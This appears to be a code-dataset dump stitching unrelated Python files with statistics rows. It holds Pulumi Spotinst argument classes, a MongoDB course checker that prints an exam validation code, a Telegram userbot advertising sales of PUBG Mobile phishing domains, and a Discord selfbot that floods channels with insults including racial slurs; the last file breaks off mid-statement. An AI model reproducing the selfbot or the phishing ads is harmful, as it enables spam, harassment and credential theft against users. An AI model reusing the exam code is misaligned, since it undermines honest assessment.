pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The tag value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class OceanUpdatePolicyArgs: def __init__(__self__, *, should_roll: pulumi.Input[bool], conditioned_roll: Optional[pulumi.Input[bool]] = None, roll_config: Optional[pulumi.Input['OceanUpdatePolicyRollConfigArgs']] = None): """ :param pulumi.Input[bool] should_roll: Enables the roll. :param pulumi.Input[bool] conditioned_roll: Spot will perform a cluster Roll in accordance with a relevant modification of the cluster’s settings. When set to true , only specific changes in the cluster’s configuration will trigger a cluster roll (such as AMI, Key Pair, user data, instance types, load balancers, etc). :param pulumi.Input['OceanUpdatePolicyRollConfigArgs'] roll_config: While used, you can control whether the group should perform a deployment after an update to the configuration. """ pulumi.set(__self__, "should_roll", should_roll) if conditioned_roll is not None: pulumi.set(__self__, "conditioned_roll", conditioned_roll) if roll_config is not None: pulumi.set(__self__, "roll_config", roll_config) @property @pulumi.getter(name="shouldRoll") def should_roll(self) -> pulumi.Input[bool]: """ Enables the roll. """ return pulumi.get(self, "should_roll") @should_roll.setter def should_roll(self, value: pulumi.Input[bool]): pulumi.set(self, "should_roll", value) @property @pulumi.getter(name="conditionedRoll") def conditioned_roll(self) -> Optional[pulumi.Input[bool]]: """ Spot will perform a cluster Roll in accordance with a relevant modification of the cluster’s settings. When set to true , only specific changes in the cluster’s configuration will trigger a cluster roll (such as AMI, Key Pair, user data, instance types, load balancers, etc). """ return pulumi.get(self, "conditioned_roll") @conditioned_roll.setter def conditioned_roll(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "conditioned_roll", value) @property @pulumi.getter(name="rollConfig") def roll_config(self) -> Optional[pulumi.Input['OceanUpdatePolicyRollConfigArgs']]: """ While used, you can control whether the group should perform a deployment after an update to the configuration. """ return pulumi.get(self, "roll_config") @roll_config.setter def roll_config(self, value: Optional[pulumi.Input['OceanUpdatePolicyRollConfigArgs']]): pulumi.set(self, "roll_config", value) @pulumi.input_type class OceanUpdatePolicyRollConfigArgs: def __init__(__self__, *, batch_size_percentage: pulumi.Input[int], launch_spec_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ :param pulumi.Input[int] batch_size_percentage: Sets the percentage of the instances to deploy in each batch. :param pulumi.Input[Sequence[pulumi.Input[str]]] launch_spec_ids: List of virtual node group identifiers to be rolled. """ pulumi.set(__self__, "batch_size_percentage", batch_size_percentage) if launch_spec_ids is not None: pulumi.set(__self__, "launch_spec_ids", launch_spec_ids) @property @pulumi.getter(name="batchSizePercentage") def batch_size_percentage(self) -> pulumi.Input[int]: """ Sets the percentage of the instances to deploy in each batch. """ return pulumi.get(self, "batch_size_percentage") @batch_size_percentage.setter def batch_size_percentage(self, value: pulumi.Input[int]): pulumi.set(self, "batch_size_percentage", value) @property @pulumi.getter(name="launchSpecIds") def launch_spec_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ List of virtual node group identifiers to be rolled. """ return pulumi.get(self, "launch_spec_ids") @launch_spec_ids.setter def launch_spec_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "launch_spec_ids", value) @pulumi.input_type class SuspensionSuspensionArgs: def __init__(__self__, *, name: pulumi.Input[str]): """ :param pulumi.Input[str] name: The name of process to suspend. Valid values: `"AUTO_HEALING" , "OUT_OF_STRATEGY", "PREVENTIVE_REPLACEMENT", "REVERT_PREFERRED", or "SCHEDULING"`. """ pulumi.set(__self__, "name", name) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The name of process to suspend. Valid values: `"AUTO_HEALING" , "OUT_OF_STRATEGY", "PREVENTIVE_REPLACEMENT", "REVERT_PREFERRED", or "SCHEDULING"`. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value)

42.014738

549

0.661079

46,873

401,955

5.485375

0.024726

0.103148

0.063816

0.040569

0.901718

0.864598

0.829132

0.79123

0.772414

0.751093

0

0.001814

0.224956

401,955

9,566

550

42.01913

0.823511

0.271458

0

0.766599

1

0

0.134094

0.060874

0

1

0.210249

false

0

0.000851

0.006639

0.327886

0

null

0

1

0

1

0

null

0

1

0

9

4521cebdc87164bfa8eae408f39649f22c0d58f6

13,818

py

Python

src/m101p/final/q4/validate_decoder.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

src/m101p/final/q4/validate_decoder.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

src/m101p/final/q4/validate_decoder.py

hemmerling/nosql-mongodb2013

bd2bb4f76234e0732b738f14cb474f7554c864c1

[ "Apache-2.0" ]

null

import base64 code="
import pymongo
import urllib2
import urllib
import cookielib
import random
import re
import string
import sys
import getopt

# init the global cookie jar
cj = cookielib.CookieJar()
# declare the variables to connect to db
connection = None
db = None
webhost = "localhost:8082"
mongostr = "mongodb://localhost:27017"
db_name = "blog"

# this script will check that homework 3.2 is correct

# makes a little salt
def make_salt(n):
    salt = ""
    for i in range(n):
        salt = salt + random.choice(string.ascii_letters)
    return salt


# this is a validation script to make sure the blog works correctly.

def create_user(username, password):
    
    global cj

    try:
        print "Trying to create a test user ", username
        url = "http://{0}/signup".format(webhost)

        data = urllib.urlencode([("email",""),("username",username), ("password",password), ("verify",password)])
        request = urllib2.Request(url=url, data=data)
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        f = opener.open(request)

        users = db.users
        # check that the user is in users collection
        user = users.find_one({'_id':username})
        if (user == None):
            print "Could not find the test user ", username, "in the users collection."
            return False
        print "Found the test user ", username, " in the users collection"

        # check that the user has been built
        result = f.read()
        expr = re.compile("Welcome\s+"+ username)
        if expr.search(result):
            return True
        
        print "When we tried to create a user, here is the output we got\n"
        print result
        
        return False
    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise
        return False


def try_to_login(username, password):

    try:
        print "Trying to login for test user ", username
        url = "http://{0}/login".format(webhost)

        data = urllib.urlencode([("username",username), ("password",password)])
        request = urllib2.Request(url=url, data=data)
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        f = opener.open(request)

        # check for successful login
        result = f.read()
        expr = re.compile("Welcome\s+"+ username)
        if expr.search(result):
            return True

        print "When we tried to login, here is the output we got\n"
        print result
        return False
    except:
        print "the request to ", url, " failed, so your blog may not be running."
        return False


def add_blog_post(title,post,tags):

    try:
        print "Trying to submit a post with title ", title
        data = urllib.urlencode([("body",post), ("subject",title), ("tags",tags)])
        url = "http://{0}/newpost".format(webhost)
        request = urllib2.Request(url=url, data=data)
        cj.add_cookie_header(request)
        opener = urllib2.build_opener()
        f = opener.open(request)

        # check for successful login
        result = f.read()
        expr = re.compile(title + ".+" + post, re.DOTALL)

        if expr.search(result):
            return True

        print "When we tried to post, here is the output we got\n"
        print result
        return False

    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise

        return False

def add_blog_comment(title,post):

    try:
        print "+Trying to submit a blog comment for post with title", title
        url = "http://{0}/newcomment".format(webhost)
        
        doc = {}
        check_mongo_for_post(title, post, doc)

        permalink = doc['doc']['permalink']

        comment_name = make_salt(12)
        comment_body = make_salt(12)

        data = urllib.urlencode([("commentName",comment_name), ("commentBody",comment_body), ("permalink",permalink)])
        request = urllib2.Request(url=url, data=data)
        cj.add_cookie_header(request)
        opener = urllib2.build_opener()
        f = opener.open(request)

        # check for successful addition of comment on page
        result = f.read()
        expr = re.compile(title + ".+" + post, re.DOTALL)

        if not expr.search(result):
            print "When we tried to find the comment we posted at the  ", url, " here is what we got"
            print result
            return False


        # check for successful addition of comment..retrieve the doc again
        if(not check_mongo_for_post(title, post, doc)):
            print "Could not find comment in database"
            return False
        
        found = False
        if ('comments' in doc['doc']):
            for comment in doc['doc']['comments']:
                if (comment['body'] == comment_body and comment['author'] == comment_name):
                    found = True

        return found

    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise

        return False


# fetch the blog home page and return the link of the first post
def fetch_blog_home_page(posts):

    try:
        url = "http://{0}/".format(webhost)
        print "Trying to grab the blog home page at url and find the first post.", url
        request = urllib2.Request(url=url)
        cj.add_cookie_header(request)
        opener = urllib2.build_opener()
        f = opener.open(request)

        # Look for a post
        result = f.read()
        expr = re.compile("<a href=\"([^\"]+)\"\w*?>", re.DOTALL)


        match = expr.search(result)

        if match is not None:
            print "Fount a post url: ", match.group(1)
            posts.append(match.group(1))
            return True

        
        print "Hmm, can't seem to find a post. Is the blog populated with posts?"
        print "When we tried to read the blog index at ", url, " here is what we got"
        print result
        return False

    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise

        return False

# gets the likes value off the first commment or returns None
def fetch_likes(url):

    try:
        url = "http://{0}{1}".format(webhost, url)
        print "Trying to grab the number of likes for url ", url
        request = urllib2.Request(url=url)
        cj.add_cookie_header(request)
        opener = urllib2.build_opener()
        f = opener.open(request)


        # let's get the first form element
        result = f.read()
        expr = re.compile("<form[^>]*>.*?Likes:\s*(\d+)\s*<.*?</form>", re.DOTALL)

        match = expr.search(result)

        if match is not None:
            print "Likes value ", match.group(1)
            return int(match.group(1))

        print "Can't fetch the like value for the first comment. Perhaps the blog entry has no comments?"
        print "When we tried to read the blog permalink at ", url, " here is what we got"
        return None

    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise

        return None


# gets the likes value off the first commment or returns None
def click_on_like(permalink):

    print "Clicking on Like link for post: ", permalink
    try:
        expr =  re.compile("[^/]+/([^/]+)")
        match = expr.search(permalink)
        if match is None:
            return False

        permalink = match.group(1)
        url = "http://{0}/like".format(webhost)
        # print "Like POST url", url

        data = urllib.urlencode([("permalink",permalink), ("comment_ordinal","0")])
        request = urllib2.Request(url=url, data=data)
        cj.add_cookie_header(request)
        opener = urllib2.build_opener()
        f = opener.open(request)

        return True

    except:
        print "the request to ", url, " failed, so your blog may not be running."
        raise




# command line arg parsing to make folks happy who want to run at mongolabs or mongohq
# this functions uses global vars to communicate. forgive me.
def arg_parsing(argv):

    global webhost
    global mongostr
    global db_name

    try:
        opts, args = getopt.getopt(argv, "-p:-m:-d:")
    except getopt.GetoptError:
        print "usage validate.py -p webhost -m mongoConnectString -d databaseName"
        print "\twebhost defaults to {0}".format(webhost)
        print "\tmongoConnectionString default to {0}".format(mongostr)
        print "\tdatabaseName defaults to {0}".format(db_name)
        sys.exit(2)
    for opt, arg in opts:
        if (opt == '-h'):
            print "usage validate.py -p webhost -m mongoConnectString -d databaseName"
            sys.exit(2)
        elif opt in ("-p"):
            webhost = arg
            print "Overriding HTTP host to be ", webhost
        elif opt in ("-m"):
            mongostr = arg
            print "Overriding MongoDB connection string to be ", mongostr
        elif opt in ("-d"):
            db_name = arg
            print "Overriding MongoDB database to be ", db_name
            


# main section of the code
def main(argv):
            
    arg_parsing(argv)
    global connection
    global db

    print "Welcome to the M101 Final Exam, Question 4 Validation Checker"

    # connect to the db (mongostr was set in arg_parsing)
    connection = pymongo.Connection(mongostr, safe=True)
    db = connection[db_name]


    # grab the blog home page and find the first post
    posts = []
    if (not fetch_blog_home_page(posts)):
        print "I can't grab the home page of the blog"
        sys.exit(1)

    # now go to the permalink page for that post
    likes_value = fetch_likes(posts[0])

    if (likes_value is  None):
        print "Can't fetch the like value"
        sys.exit(1)

    click_on_like(posts[0])

    new_likes_value = fetch_likes(posts[0])

    if (new_likes_value != (likes_value + 1)):
        print "I was not able to increment the likes on a comment"
        print "old likes value was ", likes_value
        print "likes value after I clicked was ", new_likes_value
        print "Sorry, you have not solved it yet."
        sys.exit(1)


    print "Tests Passed for Final 4. Your validation code is 3f837hhg673ghd93hgf8"


if __name__ == "__main__":
    main(sys.argv[1:])







" s = base64.b64decode(code) print s

2,303

13,767

0.998697

10

13,818

1,380

0.7

0

0.095228

0.000651

13,818

5

13,768

2,763.6

0.904121

0

0.995875

0

1

0

null

0

0.25

null

0.25

1

0

1

null

0

1

0

1

null

1

0

1

0

9

e12fcd5fcd554cb1b292cac0d846ae36ab330034

165

py

Python

deepdraken/image_generation/gans/__init__.py

DevavratSinghBisht/deepdraken

66671bee2d677d3e900077c5d1c66c0b1eff2cee

[ "Apache-2.0" ]

null

deepdraken/image_generation/gans/__init__.py

DevavratSinghBisht/deepdraken

66671bee2d677d3e900077c5d1c66c0b1eff2cee

[ "Apache-2.0" ]

null

deepdraken/image_generation/gans/__init__.py

DevavratSinghBisht/deepdraken

66671bee2d677d3e900077c5d1c66c0b1eff2cee

[ "Apache-2.0" ]

null

from deepdraken.image_generation.gans.cgan import DCGAN from deepdraken.image_generation.gans.cgan import CGAN from deepdraken.image_generation.gans.wgan import WGAN

55

0.878788

24

165

5.916667

0.375

0.295775

0.401408

0.612676

0.838028

0.605634

0

0.066667

165

3

56

55

0.922078

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

9

e14c323058e3cb60c6ffb1e58a3759985cab70ee

8,109

py

Python

userbot/modules/data-channel.py

RiSecID/Auto

d06ef712666a35ddbf0c123dbb86705096cbbb56

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

userbot/modules/data-channel.py

RiSecID/Auto

d06ef712666a35ddbf0c123dbb86705096cbbb56

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

userbot/modules/data-channel.py

RiSecID/Auto

d06ef712666a35ddbf0c123dbb86705096cbbb56

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

# Copyright (C) 2020 The Raphielscape Company LLC. # # Licensed under the Raphielscape Public License, Version 1.c (the "License"); # you may not use this file except in compliance with the License. # """ Userbot module for getting the date and time of any country or the userbot server. """ from datetime import datetime as dt from pytz import country_names as c_n from pytz import country_timezones as c_tz from pytz import timezone as tz from userbot import CMD_HELP, COUNTRY, TZ_NUMBER from userbot.events import register async def get_tz(con): """ Get time zone of the given country. """ if "(Uk)" in con: con = con.replace("Uk", "UK") if "(Us)" in con: con = con.replace("Us", "US") if " Of " in con: con = con.replace(" Of ", " of ") if "(Western)" in con: con = con.replace("(Western)", "(western)") if "Minor Outlying Islands" in con: con = con.replace("Minor Outlying Islands", "minor outlying islands") if "Nl" in con: con = con.replace("Nl", "NL") for c_code in c_n: if con == c_n[c_code]: return c_tz[c_code] try: if c_n[con]: return c_tz[con] except KeyError: return #Terimakasih @JejakCheat @register(outgoing=True, pattern="^.domainanim(?: |$)(.*)(?<![0-9])(?: |$)([0-9]+)?") async def date_func(dat): """ For .date command, return the date of 1. The country passed as an argument, 2. The default userbot country(set it by using .settime), 3. The server where the userbot runs. """ con = dat.pattern_match.group(1).title() tz_num = dat.pattern_match.group(2) d_form = "%d/%m/%y - %H:%M:%S" c_name = '' if len(con) > 4: try: c_name = c_n[con] except KeyError: c_name = con timezones = await get_tz(con) elif COUNTRY: c_name = COUNTRY tz_num = TZ_NUMBER timezones = await get_tz(COUNTRY) else: await dat.edit(f"**BOT [TESTI](t.me/Jejakcheat14)\n**" f"**{dt.now().strftime(d_form)}**\n\n" f"Pembelian Phising `DOMAIN` PUBG Mobile Season 12 `Animation Version`\n" f"Menggunakan `Server 5`\n" f"Order ID : `Tertera pada Screenshot`\n\n" f"Mau Beli Juga ? Chat [Jefanya Efandchris](t.me/JejakCheat14)\n" f"#SenturyBot") return if not timezones: await dat.edit("`Invaild country.`") return if len(timezones) == 1: time_zone = timezones[0] elif len(timezones) > 1: if tz_num: tz_num = int(tz_num) time_zone = timezones[tz_num - 1] else: return_str = f"`{c_name} has multiple timezones:`\n" for i, item in enumerate(timezones): return_str += f"`{i+1}. {item}`\n" return_str += "\n`Choose one by typing the number " return_str += "in the command.`\n" return_str += f"Example: .date {c_name} 2" await dat.edit(return_str) return dtnow = dt.now(tz(time_zone)).strftime(d_form) if c_name != COUNTRY: await dat.edit( f"`It's` **{dtnow}** `in {c_name}({time_zone} timezone).`") return elif COUNTRY: await dat.edit(f"`It's` **{dtnow}** `here, in {COUNTRY}" f"({time_zone} timezone).`") return #Terimakasih @JejakCheat #Terimakasih @JejakCheat @register(outgoing=True, pattern="^.domaintourney(?: |$)(.*)(?<![0-9])(?: |$)([0-9]+)?") async def date_func(dat): """ For .date command, return the date of 1. The country passed as an argument, 2. The default userbot country(set it by using .settime), 3. The server where the userbot runs. """ con = dat.pattern_match.group(1).title() tz_num = dat.pattern_match.group(2) d_form = "%d/%m/%y - %H:%M:%S" c_name = '' if len(con) > 4: try: c_name = c_n[con] except KeyError: c_name = con timezones = await get_tz(con) elif COUNTRY: c_name = COUNTRY tz_num = TZ_NUMBER timezones = await get_tz(COUNTRY) else: await dat.edit(f"**BOT [TESTI](t.me/Jejakcheat14)\n**" f"**{dt.now().strftime(d_form)}**\n\n" f"Pembelian Phising `DOMAIN` PUBG Mobile Season 12 `Tournament`\n" f"Menggunakan `Server 5`\n" f"Order ID : `Tertera pada Screenshot`\n\n" f"Mau Beli Juga ? Chat [Jefanya Efandchris](t.me/JejakCheat14)\n" f"#SenturyBot") return if not timezones: await dat.edit("`Invaild country.`") return if len(timezones) == 1: time_zone = timezones[0] elif len(timezones) > 1: if tz_num: tz_num = int(tz_num) time_zone = timezones[tz_num - 1] else: return_str = f"`{c_name} has multiple timezones:`\n" for i, item in enumerate(timezones): return_str += f"`{i+1}. {item}`\n" return_str += "\n`Choose one by typing the number " return_str += "in the command.`\n" return_str += f"Example: .date {c_name} 2" await dat.edit(return_str) return dtnow = dt.now(tz(time_zone)).strftime(d_form) if c_name != COUNTRY: await dat.edit( f"`It's` **{dtnow}** `in {c_name}({time_zone} timezone).`") return elif COUNTRY: await dat.edit(f"`It's` **{dtnow}** `here, in {COUNTRY}" f"({time_zone} timezone).`") return #Terimakasih @JejakCheat @register(outgoing=True, pattern="^.subdomainanim(?: |$)(.*)(?<![0-9])(?: |$)([0-9]+)?") async def date_func(dat): """ For .date command, return the date of 1. The country passed as an argument, 2. The default userbot country(set it by using .settime), 3. The server where the userbot runs. """ con = dat.pattern_match.group(1).title() tz_num = dat.pattern_match.group(2) d_form = "%d/%m/%y - %H:%M:%S" c_name = '' if len(con) > 4: try: c_name = c_n[con] except KeyError: c_name = con timezones = await get_tz(con) elif COUNTRY: c_name = COUNTRY tz_num = TZ_NUMBER timezones = await get_tz(COUNTRY) else: await dat.edit(f"**BOT [TESTI](t.me/Jejakcheat14)\n**" f"**{dt.now().strftime(d_form)}**\n\n" f"Pembelian Phising `SUBDOMAIN` PUBG Mobile Season 12 `Animation Version`\n" f"Menggunakan `Server 5`\n" f"Order ID : `Tertera pada Screenshot`\n\n" f"Mau Beli Juga ? Chat [Jefanya Efandchris](t.me/JejakCheat14)\n" f"#SenturyBot") return if not timezones: await dat.edit("`Invaild country.`") return if len(timezones) == 1: time_zone = timezones[0] elif len(timezones) > 1: if tz_num: tz_num = int(tz_num) time_zone = timezones[tz_num - 1] else: return_str = f"`{c_name} has multiple timezones:`\n" for i, item in enumerate(timezones): return_str += f"`{i+1}. {item}`\n" return_str += "\n`Choose one by typing the number " return_str += "in the command.`\n" return_str += f"Example: .date {c_name} 2" await dat.edit(return_str) return dtnow = dt.now(tz(time_zone)).strftime(d_form) if c_name != COUNTRY: await dat.edit( f"`It's` **{dtnow}** `in {c_name}({time_zone} timezone).`") return elif COUNTRY: await dat.edit(f"`It's` **{dtnow}** `here, in {COUNTRY}" f"({time_zone} timezone).`") return

32.306773

99

0.536318

1,067

8,109

3.963449

0.149016

0.028376

0.042563

0.027666

0.834713

0.809175

0.797825

0.778671

0

0.0136

0.329017

8,109

250

100

32.436

0.763646

0.045382

0

0.836066

0

0.280108

0.04123

0

1

0

false

0

0.032787

0

0.131148

0

null

0

1

0

1

0

null

0

7

e153f8acc4571a1285dcfac65274553d0739f692

22,239

py

Python

main.py

vanisthevillain/ChatPack

f7432cd43eede5984e033e225145810f8d9de37f

[ "BSL-1.0" ]

1

2021-12-30T19:16:02.000Z

main.py

TheSkidSlayer/ChatPack

f7432cd43eede5984e033e225145810f8d9de37f

[ "BSL-1.0" ]

null

main.py

TheSkidSlayer/ChatPack

f7432cd43eede5984e033e225145810f8d9de37f

[ "BSL-1.0" ]

1

2022-02-10T00:39:21.000Z

import discord, os, random, json from discord.ext import commands with open('config.json') as f: config = json.load(f) token = config.get('token') prefix = config.get('prefix') vanis = commands.Bot(command_prefix=prefix, case_insensitive=True, self_bot=True) vanis.remove_command("help") @vanis.event async def on_ready(): print(f""" \u001b[31m ╔════════════════════════════════════════════╗ ╦ ╦╦ ╦╦═╗╔═╗╦ ╦ ╔═╗╦═╗╔═╗╔═╗╔═╗╔═╗╦═╗ ╚╦╝║ ║╠╦╝║ ║║ ║ ╠═╝╠╦╝║╣ ╚═╗╚═╗║╣ ╠╦╝ ╩ ╚═╝╩╚═╚═╝╚═╝ ╩ ╩╚═╚═╝╚═╝╚═╝╚═╝╩╚═ ╚════════════════════════════════════════════╝ To use the presser, type "vanis" in the chat to activate it. """) @vanis.event async def on_message(message): channel = message.channel if message.content.endswith('vanis'): await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('U CANT PRESSURE ME') await message.channel.send ('1') await message.channel.send ('UR A SKID LOOLOOLOL') await message.channel.send ('DONT GET TIRED') await message.channel.send ('LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL') await message.channel.send ('LLOLOLOLOLOLOLLLOO') await message.channel.send ('LOOLLOLOLO') await message.channel.send ('LOLL') await message.channel.send ('YOU FUCKING SUCK LAME ASS NIGGA') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('U CANT PRESSURE ME') await message.channel.send ('1') await message.channel.send ('UR A SKID LOOLOOLOL') await message.channel.send ('DONT GET TIRED') await message.channel.send ('LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL') await message.channel.send ('LLOLOLOLOLOLOLLLOO') await message.channel.send ('LOOLLOLOLO') await message.channel.send ('LOLL') await message.channel.send ('YOU FUCKING SUCK LAME ASS NIGGA') await message.channel.send ('YOUR SO BAD LOOOOL') await message.channel.send ('LAME ASS NIGGA U CANT KEEP UP WITH ME') await message.channel.send ('YOUR SO BAD LOOOOL') await message.channel.send ('LAME ASS NIGGA U CANT KEEP UP WITH ME') await message.channel.send ('ASS') await message.channel.send ('LOOLLOLOLO') await message.channel.send ('LOLL') await message.channel.send ('YOU FUCKING SUCK LAME ASS NIGGA') await message.channel.send ('YOUR SO BAD LOOOOL') await message.channel.send ('LAME ASS NIGGA U CANT KEEP UP WITH ME') await message.channel.send ('ASS') await message.channel.send ('BITCH') await message.channel.send ('LOO') await message.channel.send ('LLOL') await message.channel.send ('LO') await message.channel.send ('COME') await message.channel.send ('LETS') await message.channel.send ('SKID RETARDED ASS NIGGA UR SO SHIT') await message.channel.send ('LOOOOOOOOOOOOOOOOOLLLLLLLLLOOOOOOOOOL') await message.channel.send ('LOOOOOOOOOOOOOOL') await message.channel.send ('OOOOOOOOOLOLO') await message.channel.send ('OLOLOLOLOLOL') await message.channel.send ('FOLOLLOLOLOLO') await message.channel.send ('ASS') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('BITCH') await message.channel.send ('LOO') await message.channel.send ('LLOL') await message.channel.send ('LO') await message.channel.send ('COME') await message.channel.send ('LETS') await message.channel.send ('SKID RETARDED ASS NIGGA UR SO SHIT') await message.channel.send ('LOOOOOOOOOOOOOOOOOLLLLLLLLLOOOOOOOOOL') await message.channel.send ('LOOOOOOOOOOOOOOL') await message.channel.send ('OOOOOOOOOLOLO') await message.channel.send ('OLOLOLOLOLOL') await message.channel.send ('FOLOLLOLOLOLO') await message.channel.send ('ASS') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('BITCH') await message.channel.send ('LOLO') await message.channel.send ('LOOL') await message.channel.send ('OLOL') await message.channel.send ('LOLO') await message.channel.send ('DONT STOP') await message.channel.send ('SPAMMING') await message.channel.send ('LAME ASS NIGGA UR SO ASS LOOOOOL') await message.channel.send ('WEAK ASS BITCH UR SO SHIT') await message.channel.send ('WEAK ASS NIGGA') await message.channel.send ('UR SO SHIT LOOOOOLL') await message.channel.send ('KEEP PACKING SON DONT STOP') await message.channel.send ('FOCUS SON DONT FOLD LOOOOL UR ASS') await message.channel.send ('WEAK ASS BITCH YOU CANT LAST WITH ME') await message.channel.send ('WHY DO YOU FEAR ME SO MUCH SON?') await message.channel.send ('HE CANT KEEP UP WITH ME') await message.channel.send ('HES MY JR LMFAOAOAOA') await message.channel.send ('FREAK DOESNT KNOW WHAT HE GOT HIMSELF INTO') await message.channel.send ('MY SON IS CRYING RN HE SLOWING DOWN') await message.channel.send ('HES GETTING HAND CRAMPS') await message.channel.send ('FOCUS UP SON FUCKING WEAK TROLL') await message.channel.send ('WEAK BITCH STOP DUCKING ME SON U CANT PRESS ME U SUCK') await message.channel.send ('LOOOL') await message.channel.send ('OL') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('U CANT PRESSURE ME') await message.channel.send ('1') await message.channel.send ('UR A SKID LOOLOOLOL') await message.channel.send ('DONT GET TIRED') await message.channel.send ('LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL') await message.channel.send ('LLOLOLOLOLOLOLLLOO') await message.channel.send ('LOOLLOLOLO') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send 